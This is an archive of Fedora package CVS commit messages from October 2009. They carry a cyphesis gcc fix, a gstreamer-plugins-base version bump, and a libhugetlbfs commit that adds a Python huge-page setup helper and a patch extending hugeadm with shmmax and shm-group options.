In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5948

Added Files:
	cyphesis-0.5.21-gcc44.patch 
Log Message:
* Mon Oct 05 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.21-1
- Update to 0.5.21


cyphesis-0.5.21-gcc44.patch:
 CommMDNSPublisher.cpp |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE cyphesis-0.5.21-gcc44.patch ---
commit 86068c36c2fa93053c6c2fd67d563c28daa00b12
Author: Alistair Riddoch <alriddoch at googlemail.com>
Date:   Sat Sep 12 19:19:41 2009 +0100

    Add cassert to the code for avahi support.

diff --git a/server/CommMDNSPublisher.cpp b/server/CommMDNSPublisher.cpp
index a031973..76a5cf5 100644
--- a/server/CommMDNSPublisher.cpp
+++ b/server/CommMDNSPublisher.cpp
@@ -148,6 +148,8 @@ void CommMDNSPublisher::dispatch()
 
 #include <avahi-common/error.h>
 
+#include <cassert>
+
 static const bool debug_flag = false;
 
 static void avahi_client_callback(AvahiClient * s,



From hadess at fedoraproject.org  Mon Oct  5 19:00:34 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon,  5 Oct 2009 19:00:34 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/F-11 .cvsignore, 1.23,
	1.24 gstreamer-plugins-base.spec, 1.79, 1.80 sources, 1.24, 1.25
Message-ID: <20091005190035.87ED711C04D8@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8443

Modified Files:
	.cvsignore gstreamer-plugins-base.spec sources 
Log Message:
* Fri Aug 07 2009 Bastien Nocera <bnocera at redhat.com> 0.10.24-1
- Update to 0.10.24



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/F-11/.cvsignore,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- .cvsignore	7 Aug 2009 16:25:12 -0000	1.23
+++ .cvsignore	5 Oct 2009 19:00:31 -0000	1.24
@@ -1 +1 @@
-gst-plugins-base-0.10.24.tar.bz2
+gst-plugins-base-0.10.25.tar.bz2


Index: gstreamer-plugins-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/F-11/gstreamer-plugins-base.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- gstreamer-plugins-base.spec	8 Aug 2009 01:01:39 -0000	1.79
+++ gstreamer-plugins-base.spec	5 Oct 2009 19:00:33 -0000	1.80
@@ -1,10 +1,8 @@
 %define         gstreamer       gstreamer
 %define         majorminor      0.10
 
-%define         _gst            0.10.24
-
 Name: 		%{gstreamer}-plugins-base
-Version: 	0.10.24
+Version: 	0.10.25
 Release:  	1%{?dist}
 Summary: 	GStreamer streaming media framework base plug-ins
 
@@ -14,9 +12,9 @@ URL:		http://gstreamer.freedesktop.org/
 Source:		http://gstreamer.freedesktop.org/src/gst-plugins-base/gst-plugins-base-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Requires:       %{gstreamer} >= %{_gst}
+Requires:       %{gstreamer} >= %{version}
 Requires:	liboil >= 0.3.12-9
-BuildRequires: 	%{gstreamer}-devel >= %{_gst}
+BuildRequires: 	%{gstreamer}-devel >= %{version}
 
 BuildRequires:  gettext
 BuildRequires:  gcc-c++
@@ -57,7 +55,8 @@ This package contains a set of well-main
   --with-package-origin='http://download.fedora.redhat.com/fedora' \
   --enable-gtk-doc \
   --enable-experimental \
-  --disable-static
+  --disable-static \
+  --disable-gnome_vfs
 
 make %{?_smp_mflags} ERROR_CFLAGS=""
 
@@ -179,6 +178,7 @@ GStreamer Base Plugins library developme
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/tunerchannel.h
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/tunernorm.h
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/videoorientation.h
+%{_includedir}/gstreamer-%{majorminor}/gst/interfaces/streamvolume.h
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/xoverlay.h
 %dir %{_includedir}/gstreamer-%{majorminor}/gst/netbuffer
 %{_includedir}/gstreamer-%{majorminor}/gst/netbuffer/gstnetbuffer.h


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/F-11/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	7 Aug 2009 16:25:12 -0000	1.24
+++ sources	5 Oct 2009 19:00:33 -0000	1.25
@@ -1 +1 @@
-a3ec977c9c6602caacc2d3a7c12a17bf  gst-plugins-base-0.10.24.tar.bz2
+d29669dd79276c5cd94e1613c03cd9ab  gst-plugins-base-0.10.25.tar.bz2



From jwilson at fedoraproject.org  Mon Oct  5 19:01:40 2009
From: jwilson at fedoraproject.org (Jarod Wilson)
Date: Mon,  5 Oct 2009 19:01:40 +0000 (UTC)
Subject: rpms/libhugetlbfs/F-12 huge_page_setup_helper.py, NONE,
	1.1 libhugetlbfs-2.6-hugeadm-enhancements.patch, NONE,
	1.1 libhugetlbfs.spec, 1.31, 1.32
Message-ID: <20091005190140.4E08411C0298@cvs1.fedora.phx.redhat.com>

Author: jwilson

Update of /cvs/pkgs/rpms/libhugetlbfs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9228

Modified Files:
	libhugetlbfs.spec 
Added Files:
	huge_page_setup_helper.py 
	libhugetlbfs-2.6-hugeadm-enhancements.patch 
Log Message:
* Fri Oct 02 2009 Jarod Wilson <jarod at redhat.com> 2.6-3
- Add hopefully-about-to-be-merged-upstream hugeadm enhancements
- Add huge pages setup helper script, using new hugeadm enhancements



--- NEW FILE huge_page_setup_helper.py ---
#!/usr/bin/python

#
# Tool to set up Linux large page support with minimal effort
#
# by Jarod Wilson <jarod at redhat.com>
# (c) Red Hat, Inc., 2009
#
# Requires hugeadm from libhugetlbfs 2.7 (or backported support)
#
import os

debug = False

# config files we need access to
sysctlConf = "/etc/sysctl.conf"
if not os.access(sysctlConf, os.W_OK):
    print "Cannot access %s" % sysctlConf
    if debug == False:
        os._exit(1)
limitsConf = "/etc/security/limits.d/hugepages.conf"
if not os.access(limitsConf, os.W_OK):
    print "Cannot access %s" % limitsConf
    if debug == False:
        os._exit(1)


# Figure out what we've got in the way of memory
memTotal = 0
hugePageSize = 0
hugePages = 0

hugeadmexplain = os.popen("/usr/bin/hugeadm --explain 2>/dev/null").readlines()

for line in hugeadmexplain:
    if line.startswith("Total System Memory:"):
        memTotal = int(line.split()[3])
        break

if memTotal == 0:
    print "Your version of libhugetlbfs' hugeadm utility is too old!"
    os._exit(1)


# Pick the default huge page size and see how many pages are allocated
poolList = os.popen("/usr/bin/hugeadm --pool-list").readlines()
for line in poolList:
    if line.split()[4] == '*':
        hugePageSize = int(line.split()[0])
        hugePages = int(line.split()[2])
        break


# Get initial sysctl settings
shmmax = 0
hugeGID = 0

for line in hugeadmexplain:
    if line.startswith("A /proc/sys/kernel/shmmax value of"):
        shmmax = int(line.split()[4])
        break

for line in hugeadmexplain:
    if line.strip().startswith("vm.hugetlb_shm_group = "):
        hugeGID = int(line.split()[2])
        break


# translate group into textual version
hugeGIDName = "null"
groupNames = os.popen("/usr/bin/getent group").readlines()
for line in groupNames:
    curGID = int(line.split(":")[2])
    if curGID == hugeGID:
        hugeGIDName = line.split(":")[0]
        break


# dump system config as we see it before we start tweaking it
print "Current configuration:"
print " * Total System Memory......: %6d MB" % memTotal
print " * Shared Mem Max Mapping...: %6d MB" % (shmmax / (1024 * 1024))
print " * System Huge Page Size....: %6d MB" % (hugePageSize / (1024 * 1024))
print " * Number of Huge Pages.....: %6d"    % hugePages
print " * Total size of Huge Pages.: %6d MB" % (hugePages * hugePageSize / (1024 * 1024))
print " * Remaining System Memory..: %6d MB" % (memTotal - (hugePages * hugePageSize / (1024 * 1024)))
print " * Huge Page User Group.....:  %s (%d)" % (hugeGIDName, hugeGID)
print


# ask how memory they want to allocate for huge pages
userIn = None
while not userIn:
    try:
        userIn = raw_input("How much memory would you like to allocate for huge pages? "
                           "(input in MB, unless postfixed with GB): ")
	if userIn[-2:] == "GB":
            userHugePageReqMB = int(userIn[0:-2]) * 1024
	elif userIn[-1:] == "G":
            userHugePageReqMB = int(userIn[0:-1]) * 1024
	elif userIn[-2:] == "MB":
            userHugePageReqMB = int(userIn[0:-2])
	elif userIn[-1:] == "M":
            userHugePageReqMB = int(userIn[0:-1])
        else:
            userHugePageReqMB = int(userIn)
        # As a sanity safeguard, require at least 128M not be allocated to huge pages
        if userHugePageReqMB > (memTotal - 128):
            userIn = None
            print "Refusing to allocate %d, you must leave at least 128MB for the system" % userHugePageReqMB
        else:
            break
    except ValueError:
        userIn = None
        print "Input must be an integer, please try again!"
userHugePageReqKB = userHugePageReqMB * 1024
userHugePagesReq = userHugePageReqKB / (hugePageSize / 1024)
print "Okay, we'll try to allocate %d MB for huge pages..." % userHugePageReqMB
print


# some basic user input validation
badchars = list(' \\\'":;~`!$^&*(){}[]?/><,')
inputIsValid = False
foundbad = False
# ask for the name of the group allowed access to huge pages
while inputIsValid == False:
    userGroupReq = raw_input("What group should have access to the huge pages? "
                             "(The group will be created, if need be): ")
    if userGroupReq[0].isdigit():
        foundbad = True
        print "Group names cannot start with a number, please try again!"
    for char in badchars:
        if char in userGroupReq:
            foundbad = True
            print "Illegal characters in group name, please try again!"
            break
    if foundbad == False:
        inputIsValid = True
print "Okay, we'll give group %s access to the huge pages" % userGroupReq


# see if group already exists, use it if it does, if not, create it
userGIDReq = -1
for line in groupNames:
    curGroupName = line.split(":")[0]
    if curGroupName == userGroupReq:
        userGIDReq = int(line.split(":")[2])
        break

if userGIDReq > -1:
    print "Group %s (gid %d) already exists, we'll use it" % (userGroupReq, userGIDReq)
else:
    if debug == False:
    	os.popen("/usr/sbin/groupadd %s" % userGroupReq)
    else:
        print "/usr/sbin/groupadd %s" % userGroupReq
    groupNames = os.popen("/usr/bin/getent group %s" % userGroupReq).readlines()
    for line in groupNames:
        curGroupName = line.split(":")[0]
        if curGroupName == userGroupReq:
            userGIDReq = int(line.split(":")[2])
            break
    print "Created group %s (gid %d) for huge page use" % (userGroupReq, userGIDReq)
print


# basic user input validation, take 2
# space is valid in this case, wasn't in the prior incarnation
badchars = list('\\\'":;~`!$^&*(){}[]?/><,')
inputIsValid = False
# ask for user(s) that should be in the huge page access group
while inputIsValid == False:
    userUsersReq = raw_input("What user(s) should have access to the huge pages (space-delimited list, users created as needed)? ")
    for char in badchars:
        if char in userUsersReq:
            foundbad = True
            print "Illegal characters in user name(s) or invalid list format, please try again!"
            break
    if foundbad == False:
        inputIsValid = True
# see if user(s) already exist(s)
curUserList = os.popen("/usr/bin/getent passwd").readlines()
hugePageUserList = userUsersReq.split()
for hugeUser in hugePageUserList:
    userExists = False
    for line in curUserList:
        curUser = line.split(":")[0]
        if curUser == hugeUser:
            print "Adding user %s to huge page group" % hugeUser
            userExists = True
            if debug == False:
                os.popen("/usr/sbin/usermod -a -G %s %s" % (userGroupReq, hugeUser))
            else:
                print "/usr/sbin/usermod -a -G %s %s" % (userGroupReq, hugeUser)
        if userExists == True:
            break
    if userExists == False:
        print "Creating user %s with membership in huge page group" % hugeUser
        if debug == False:
            os.popen("/usr/sbin/useradd %s -G %s" % (hugeUser, userGroupReq))
        else:
            print "/usr/sbin/useradd %s -G %s" % (hugeUser, userGroupReq)
print


# set values for the current running environment
if debug == False:
    os.popen("/usr/bin/hugeadm --pool-pages-min DEFAULT:%sM" % userHugePageReqMB)
    os.popen("/usr/bin/hugeadm --pool-pages-max DEFAULT:%sM" % userHugePageReqMB)
    os.popen("/usr/bin/hugeadm --set-shm-group %d" % userGIDReq)
    os.popen("/usr/bin/hugeadm --set-recommended-shmmax")
else:
    print "/usr/bin/hugeadm --pool-pages-min DEFAULT:%sM" % userHugePageReqMB
    print "/usr/bin/hugeadm --pool-pages-max DEFAULT:%sM" % userHugePageReqMB
    print "/usr/bin/hugeadm --set-shm-group %d" % userGIDReq
    print "/usr/bin/hugeadm --set-recommended-shmmax"
    print

# figure out what that shmmax value we just set was
hugeadmexplain = os.popen("/usr/bin/hugeadm --explain 2>/dev/null").readlines()
for line in hugeadmexplain:
    if line.strip().startswith("kernel.shmmax = "):
        shmmax = int(line.split()[2])
        break

# write out sysctl config changes to persist across reboot
if debug == False:
    sysctlConfLines = "# sysctl configuration\n"
    if os.access(sysctlConf, os.W_OK):
        try:
            sysctlConfLines = open(sysctlConf).readlines()
            os.rename(sysctlConf, sysctlConf + ".backup")
            print("Saved original %s as %s.backup" % (sysctlConf, sysctlConf))
        except:
            pass

    fd = open(sysctlConf, "w")
    for line in sysctlConfLines:
        if line.startswith("kernel.shmmax"):
            continue
        elif line.startswith("vm.nr_hugepages"):
            continue
        elif line.startswith("vm.hugetlb_shm_group"):
            continue
        else:
            fd.write(line);

    fd.write("kernel.shmmax = %d\n" % shmmax)
    fd.write("vm.nr_hugepages = %d\n" % userHugePagesReq)
    fd.write("vm.hugetlb_shm_group = %d\n" % userGIDReq)
    fd.close()

else:
    print "Add to %s:" % sysctlConf
    print "kernel.shmmax = %d" % shmmax
    print "vm.nr_hugepages = %d" % userHugePagesReq
    print "vm.hugetlb_shm_group = %d" % userGIDReq
    print


# write out limits.conf changes to persist across reboot
if debug == False:
    limitsConfLines = "# Huge page access configuration\n"
    if os.access(limitsConf, os.W_OK):
        try:
            limitsConfLines = open(limitsConf).readlines()
            os.rename(limitsConf, limitsConf + ".backup")
            print("Saved original %s as %s.backup" % (limitsConf, limitsConf))
        except:
            pass

    fd = open(limitsConf, "w")
    for line in limitsConfLines:
        cfgExist = False
        for hugeUser in hugePageUserList:
            if line.split()[0] == hugeUser:
                cfgExist = True
        if cfgExist == True:
            continue
        else:
            fd.write(line)

    for hugeUser in hugePageUserList:
        fd.write("%s		soft	memlock		%d\n" % (hugeUser, userHugePageReqKB))
        fd.write("%s		hard	memlock		%d\n" % (hugeUser, userHugePageReqKB))
    fd.close()

else:
    print "Add to %s:" % limitsConf
    for hugeUser in hugePageUserList:
        print "%s		soft	memlock		%d" % (hugeUser, userHugePageReqKB)
        print "%s		hard	memlock		%d" % (hugeUser, userHugePageReqKB)


# dump the final configuration of things now that we're done tweaking
print
print "Final configuration:"
print " * Total System Memory......: %6d MB" % memTotal
if debug == False:
    print " * Shared Mem Max Mapping...: %6d MB" % (shmmax / (1024 * 1024))
else:
    # This should be what we *would* have set it to, had we actually run hugeadm --set-recommended-shmmax
    print " * Shared Mem Max Mapping...: %6d MB" % (userHugePagesReq * hugePageSize / (1024 * 1024))
print " * System Huge Page Size....: %6d MB" % (hugePageSize / (1024 * 1024))
print " * Available Huge Pages.....: %6d"    % userHugePagesReq
print " * Total size of Huge Pages.: %6d MB" % (userHugePagesReq * hugePageSize / (1024 * 1024))
print " * Remaining System Memory..: %6d MB" % (memTotal - userHugePageReqMB)
print " * Huge Page User Group.....:  %s (%d)" % (userGroupReq, userGIDReq)
print



libhugetlbfs-2.6-hugeadm-enhancements.patch:
 hugeadm.c     |  223 +++++++++++++++++++++++++++++++++++++++++++++++++++++++---
 man/hugeadm.8 |   41 ++++++++--
 2 files changed, 245 insertions(+), 19 deletions(-)

--- NEW FILE libhugetlbfs-2.6-hugeadm-enhancements.patch ---
 hugeadm.c     |  223 ++++++++++++++++++++++++++++++++++++++++++++++++++++++---
 man/hugeadm.8 |   41 ++++++++---
 2 files changed, 245 insertions(+), 19 deletions(-)

diff --git a/hugeadm.c b/hugeadm.c
index a793267..1666e27 100644
--- a/hugeadm.c
+++ b/hugeadm.c
@@ -67,12 +67,15 @@ extern char *optarg;
 #define PROCMOUNTS "/proc/mounts"
 #define PROCHUGEPAGES_MOVABLE "/proc/sys/vm/hugepages_treat_as_movable"
 #define PROCMINFREEKBYTES "/proc/sys/vm/min_free_kbytes"
+#define PROCSHMMAX "/proc/sys/kernel/shmmax"
+#define PROCHUGETLBGROUP "/proc/sys/vm/hugetlb_shm_group"
 #define PROCZONEINFO "/proc/zoneinfo"
 #define FS_NAME "hugetlbfs"
 #define MIN_COL 20
 #define MAX_SIZE_MNTENT (64 + PATH_MAX + 32 + 128 + 2 * sizeof(int))
 #define FORMAT_LEN 20
 
+#define MEM_TOTAL "MemTotal:"
 #define SWAP_FREE "SwapFree:"
 #define SWAP_TOTAL "SwapTotal:"
 
@@ -86,13 +89,17 @@ void print_usage()
 	OPTION("--hard", "specified with --pool-pages-min to make");
 	CONT("multiple attempts at adjusting the pool size to the");
 	CONT("specified count on failure");
-	OPTION("--pool-pages-min <size>:[+|-]<count>", "");
+	OPTION("--pool-pages-min <size|DEFAULT>:[+|-]<pagecount|memsize<G|M|K>>", "");
 	CONT("Adjust pool 'size' lower bound");
-	OPTION("--pool-pages-max <size>:[+|-]<count>", "");
+	OPTION("--pool-pages-max <size|DEFAULT>:[+|-]<pagecount|memsize<G|M|K>>", "");
 	CONT("Adjust pool 'size' upper bound");
 	OPTION("--set-recommended-min_free_kbytes", "");
 	CONT("Sets min_free_kbytes to a recommended value to improve availability of");
 	CONT("huge pages at runtime");
+	OPTION("--set-recommended-shmmax", "Sets shmmax to a recommended value to");
+	CONT("maximise the size possible for shared memory pools");
+	OPTION("--set-shm-group <gid|groupname>", "Sets hugetlb_shm_group to the");
+	CONT("specified group, which has permission to use hugetlb shared memory pools");
 	OPTION("--add-temp-swap[=count]", "Specified with --pool-pages-min to create");
 	CONT("temporary swap space for the duration of the pool resize. Default swap");
 	CONT("size is 5 huge pages. Optional arg sets size to 'count' huge pages");
@@ -135,6 +142,8 @@ int opt_dry_run = 0;
 int opt_hard = 0;
 int opt_movable = -1;
 int opt_set_recommended_minfreekbytes = 0;
+int opt_set_recommended_shmmax = 0;
+int opt_set_hugetlb_shm_group = 0;
 int opt_temp_swap = 0;
 int opt_ramdisk_swap = 0;
 int opt_swap_persist = 0;
@@ -215,6 +224,8 @@ void verbose_expose(void)
 #define LONG_POOL_MAX_ADJ	(LONG_POOL|'M')
 
 #define LONG_SET_RECOMMENDED_MINFREEKBYTES	('k' << 8)
+#define LONG_SET_RECOMMENDED_SHMMAX		('x' << 8)
+#define LONG_SET_HUGETLB_SHM_GROUP		('R' << 8)
 
 #define LONG_MOVABLE		('z' << 8)
 #define LONG_MOVABLE_ENABLE	(LONG_MOVABLE|'e')
@@ -589,6 +600,19 @@ void create_mounts(char *user, char *group, char *base, mode_t mode)
 }
 
 /**
+ * show_mem shouldn't change the behavior of any of its
+ * callers, it only prints a message to the user showing the
+ * total amount of memory in the system (in megabytes).
+ */
+void show_mem()
+{
+	long mem_total;
+
+	mem_total = read_meminfo(MEM_TOTAL);
+	printf("Total System Memory: %ld MB\n\n", mem_total / 1024);
+}
+
+/**
  * check_swap shouldn't change the behavior of any of its
  * callers, it only prints a message to the user if something
  * is being done that might fail without swap available.  i.e.
@@ -668,12 +692,130 @@ void check_minfreekbytes(void)
 	/* There should be at least one pageblock free per zone in the system */
 	if (recommended_min > min_free_kbytes) {
 		printf("\n");
-		printf("The " PROCMINFREEKBYTES " of %ld is too small. To maximiuse efficiency\n", min_free_kbytes);
+		printf("The " PROCMINFREEKBYTES " of %ld is too small. To maximise efficiency\n", min_free_kbytes);
 		printf("of fragmentation avoidance, there should be at least one huge page free per zone\n");
 		printf("in the system which minimally requires a min_free_kbytes value of %ld\n", recommended_min);
 	}
 }
 
+long recommended_shmmax(void)
+{
+	struct hpage_pool pools[MAX_POOLS];
+	long recommended_shmmax = 0;
+	int pos, cnt;
+
+	cnt = hpool_sizes(pools, MAX_POOLS);
+	if (cnt < 0) {
+		ERROR("unable to obtain pools list");
+		exit(EXIT_FAILURE);
+	}
+
+	for (pos = 0; cnt--; pos++)
+		recommended_shmmax += (pools[pos].maximum * pools[pos].pagesize);
+
+	return recommended_shmmax;
+}
+
+void set_recommended_shmmax(void)
+{
+	int ret;
+	long recommended = recommended_shmmax();
+
+	if (recommended == 0) {
+		printf("\n");
+		WARNING("We can only set a recommended shmmax when huge pages are configured!\n");
+		return;
+	}
+
+	DEBUG("Setting shmmax to %ld\n", recommended);
+	ret = file_write_ulong(PROCSHMMAX, (unsigned long)recommended);
+
+	if (!ret) {
+		INFO("To make shmmax settings persistent, add the following line to /etc/sysctl.conf:\n");
+		INFO("  kernel.shmmax = %ld\n", recommended);
+	}
+}
+
+void check_shmmax(void)
+{
+	long current_shmmax = file_read_ulong(PROCSHMMAX, NULL);
+	long recommended = recommended_shmmax();
+
+	if (current_shmmax != recommended) {
+		printf("\n");
+		printf("A " PROCSHMMAX " value of %ld bytes may be sub-optimal. To maximise\n", current_shmmax);
+		printf("shared memory usage, this should be set to the size of the largest shared memory\n");
+		printf("segment size you want to be able to use. Alternatively, set it to a size matching\n");
+		printf("the maximum possible allocation size of all huge pages. This can be done\n");
+		printf("automatically, using the --set-recommended-shmmax option.\n");
+	}
+
+	if (recommended == 0) {
+		printf("\n");
+		WARNING("We can't make a shmmax recommendation until huge pages are configured!\n");
+		return;
+	}
+
+	printf("\n");
+	printf("The recommended shmmax for your currently allocated huge pages is %ld bytes.\n", recommended);
+	printf("To make shmmax settings persistent, add the following line to /etc/sysctl.conf:\n");
+	printf("  kernel.shmmax = %ld\n", recommended);
+}
+
+void set_hugetlb_shm_group(gid_t gid, char *group)
+{
+	int ret;
+
+	DEBUG("Setting hugetlb_shm_group to %d (%s)\n", gid, group);
+	ret = file_write_ulong(PROCHUGETLBGROUP, (unsigned long)gid);
+
+	if (!ret) {
+		INFO("To make hugetlb_shm_group settings persistent, add the following line to /etc/sysctl.conf:\n");
+		INFO("  vm.hugetlb_shm_group = %d\n", gid);
+	}
+}
+
+/* heisted from shadow-utils/libmisc/list.c::is_on_list() */
+static int user_in_group(char *const *list, const char *member)
+{
+	while (*list != NULL) {
+		if (strcmp(*list, member) == 0) {
+			return 1;
+		}
+		list++;
+	}
+
+	return 0;
+}
+
+void check_user(void)
+{
+	uid_t uid;
+	gid_t gid;
+	struct passwd *pwd;
+	struct group *grp;
+
+	gid = (gid_t)file_read_ulong(PROCHUGETLBGROUP, NULL);
+	grp = getgrgid(gid);
+	if (!grp) {
+		printf("\n");
+		WARNING("Group ID %d in hugetlb_shm_group doesn't appear to be a valid group!\n", gid);
+		return;
+	}
+
+	uid = getuid();
+	pwd = getpwuid(uid);
+
+	if (gid != pwd->pw_gid && !user_in_group(grp->gr_mem, pwd->pw_name) && uid != 0) {
+		printf("\n");
+		WARNING("User %s (uid: %d) is not a member of the hugetlb_shm_group %s (gid: %d)!\n", pwd->pw_name, uid, grp->gr_name, gid);
+	} else {
+		printf("\n");
+		printf("To make your hugetlb_shm_group settings persistent, add the following line to /etc/sysctl.conf:\n");
+		printf("  vm.hugetlb_shm_group = %d\n", gid);
+	}
+}
+
 void add_temp_swap(long page_size)
 {
 	char path[PATH_MAX];
@@ -828,18 +970,37 @@ enum {
 	POOL_BOTH,
 };
 
-static long value_adjust(char *adjust_str, long base)
+static long value_adjust(char *adjust_str, long base, long page_size)
 {
 	long adjust;
 	char *iter;
 
 	/* Convert and validate the adjust. */
+	errno = 0;
 	adjust = strtol(adjust_str, &iter, 0);
-	if (*iter) {
+	/* Catch strtol errors and sizes that overflow the native word size */
+	if (errno || adjust_str == iter) {
+		if (errno == ERANGE)
+			errno = EOVERFLOW;
+		else
+			errno = EINVAL;
 		ERROR("%s: invalid adjustment\n", adjust_str);
 		exit(EXIT_FAILURE);
 	}
 
+	switch (*iter) {
+	case 'G':
+	case 'g':
+		adjust = size_to_smaller_unit(adjust);
+	case 'M':
+	case 'm':
+		adjust = size_to_smaller_unit(adjust);
+	case 'K':
+	case 'k':
+		adjust = size_to_smaller_unit(adjust);
+		adjust = adjust / page_size;
+	}
+
 	if (adjust_str[0] != '+' && adjust_str[0] != '-')
 		base = 0;
 
@@ -852,6 +1013,8 @@ static long value_adjust(char *adjust_str, long base)
 	}
 	base += adjust;
 
+	DEBUG("Returning page count of %ld\n", base);
+
 	return base;
 }
 
@@ -885,7 +1048,12 @@ void pool_adjust(char *cmd, unsigned int counter)
 					page_size_str, adjust_str, counter);
 
 	/* Convert and validate the page_size. */
-	page_size = parse_page_size(page_size_str);
+	if (strcmp(page_size_str, "DEFAULT") == 0)
+		page_size = kernel_default_hugepage_size();
+	else
+		page_size = parse_page_size(page_size_str);
+
+	DEBUG("Working with page_size of %ld\n", page_size);
 
 	cnt = hpool_sizes(pools, MAX_POOLS);
 	if (cnt < 0) {
@@ -905,14 +1073,14 @@ void pool_adjust(char *cmd, unsigned int counter)
 	max = pools[pos].maximum;
 
 	if (counter == POOL_BOTH) {
-		min = value_adjust(adjust_str, min);
+		min = value_adjust(adjust_str, min, page_size);
 		max = min;
 	} else if (counter == POOL_MIN) {
-		min = value_adjust(adjust_str, min);
+		min = value_adjust(adjust_str, min, page_size);
 		if (min > max)
 			max = min;
 	} else {
-		max = value_adjust(adjust_str, max);
+		max = value_adjust(adjust_str, max, page_size);
 		if (max < min)
 			min = max;
 	}
@@ -1003,13 +1171,16 @@ void page_sizes(int all)
 
 void explain()
 {
+	show_mem();
 	mounts_list_all();
 	printf("\nHuge page pools:\n");
 	pool_list();
 	printf("\nHuge page sizes with configured pools:\n");
 	page_sizes(0);
 	check_minfreekbytes();
+	check_shmmax();
 	check_swap();
+	check_user();
 	printf("\nNote: Permanent swap space should be preferred when dynamic "
 		"huge page pools are used.\n");
 }
@@ -1027,6 +1198,9 @@ int main(int argc, char** argv)
 	int opt_global_mounts = 0, opt_pgsizes = 0, opt_pgsizes_all = 0;
 	int opt_explain = 0, minadj_count = 0, maxadj_count = 0;
 	int ret = 0, index = 0;
+	gid_t opt_gid = 0;
+	struct group *opt_grp = NULL;
+	int group_invalid = 0;
 	struct option long_opts[] = {
 		{"help",       no_argument, NULL, 'h'},
 		{"verbose",    required_argument, NULL, 'v' },
@@ -1036,6 +1210,8 @@ int main(int argc, char** argv)
 		{"pool-pages-min", required_argument, NULL, LONG_POOL_MIN_ADJ},
 		{"pool-pages-max", required_argument, NULL, LONG_POOL_MAX_ADJ},
 		{"set-recommended-min_free_kbytes", no_argument, NULL, LONG_SET_RECOMMENDED_MINFREEKBYTES},
+		{"set-recommended-shmmax", no_argument, NULL, LONG_SET_RECOMMENDED_SHMMAX},
+		{"set-shm-group", required_argument, NULL, LONG_SET_HUGETLB_SHM_GROUP},
 		{"enable-zone-movable", no_argument, NULL, LONG_MOVABLE_ENABLE},
 		{"disable-zone-movable", no_argument, NULL, LONG_MOVABLE_DISABLE},
 		{"hard", no_argument, NULL, LONG_HARD},
@@ -1153,6 +1329,29 @@ int main(int argc, char** argv)
 			opt_set_recommended_minfreekbytes = 1;
 			break;
 
+		case LONG_SET_RECOMMENDED_SHMMAX:
+			opt_set_recommended_shmmax = 1;
+			break;
+
+		case LONG_SET_HUGETLB_SHM_GROUP:
+			opt_grp = getgrnam(optarg);
+			if (!opt_grp) {
+				opt_gid = atoi(optarg);
+				if (opt_gid == 0 && strcmp(optarg, "0"))
+					group_invalid = 1;
+				opt_grp = getgrgid(opt_gid);
+				if (!opt_grp)
+					group_invalid = 1;
+			} else {
+				opt_gid = opt_grp->gr_gid;
+			}
+			if (group_invalid) {
+				ERROR("Invalid group specification (%s)\n", optarg);
+				exit(EXIT_FAILURE);
+			}
+			opt_set_hugetlb_shm_group = 1;
+			break;
+
 		case LONG_MOVABLE_DISABLE:
 			opt_movable = 0;
 			break;
@@ -1208,6 +1407,12 @@ int main(int argc, char** argv)
 	if (opt_set_recommended_minfreekbytes)
 		set_recommended_minfreekbytes();
 
+	if (opt_set_recommended_shmmax)
+		set_recommended_shmmax();
+
+	if (opt_set_hugetlb_shm_group)
+		set_hugetlb_shm_group(opt_gid, opt_grp->gr_name);
+
 	while (--minadj_count >= 0) {
 		if (! kernel_has_overcommit())
 			pool_adjust(opt_min_adj[minadj_count], POOL_BOTH);
diff --git a/man/hugeadm.8 b/man/hugeadm.8
index 6342980..fc8c8ac 100644
--- a/man/hugeadm.8
+++ b/man/hugeadm.8
@@ -2,7 +2,7 @@
 .\" First parameter, NAME, should be all caps
 .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
 .\" other parameters are allowed: see man(7), man(1)
-.TH HUGEADM 8 "October 10, 2008"
+.TH HUGEADM 8 "October 1, 2009"
 .\" Please adjust this date whenever revising the manpage.
 .\"
 .\" Some roff macros, for reference:
@@ -87,6 +87,22 @@ avoiding mixing is to increase /proc/sys/vm/min_free_kbytes. This parameter
 sets min_free_kbytes to a recommended value to aid fragmentation avoidance.
 
 .TP
+.B --set-recommended-shmmax
+
+The maximum shared memory segment size should be set to at least the size
+of the largest shared memory segment size you want available for applications
+using huge pages, via /proc/sys/kernel/shmmax. Optionally, it can be set
+automatically to match the maximum possible size of all huge page allocations
+and thus the maximum possible shared memory segment size, using this switch.
+
+.TP
+.B --set-shm-group=<gid|groupname>
+
+Users in the group specified in /proc/sys/vm/hugetlb_shm_group are granted
+full access to huge pages. The sysctl takes a numeric gid, but this hugeadm
+option can set it for you, using either a gid or group name.
+
+.TP
 .B --page-sizes
 
 This displays every page size supported by the system and has a pool
@@ -107,25 +123,30 @@ This displays all active mount points for hugetlbfs.
 The following options configure the pool.
 
 .TP
-.B --pool-pages-min=<size>:[+|-]<count>
+.B --pool-pages-min=<size|DEFAULT>:[+|-]<pagecount|memsize<G|M|K>>
 
 This option sets or adjusts the Minimum number of hugepages in the pool for
 pagesize \fBsize\fP. \fBsize\fP may be specified in bytes or in kilobytes,
-megabytes, or gigabytes by appending K, M, or G respectively. The pool is set
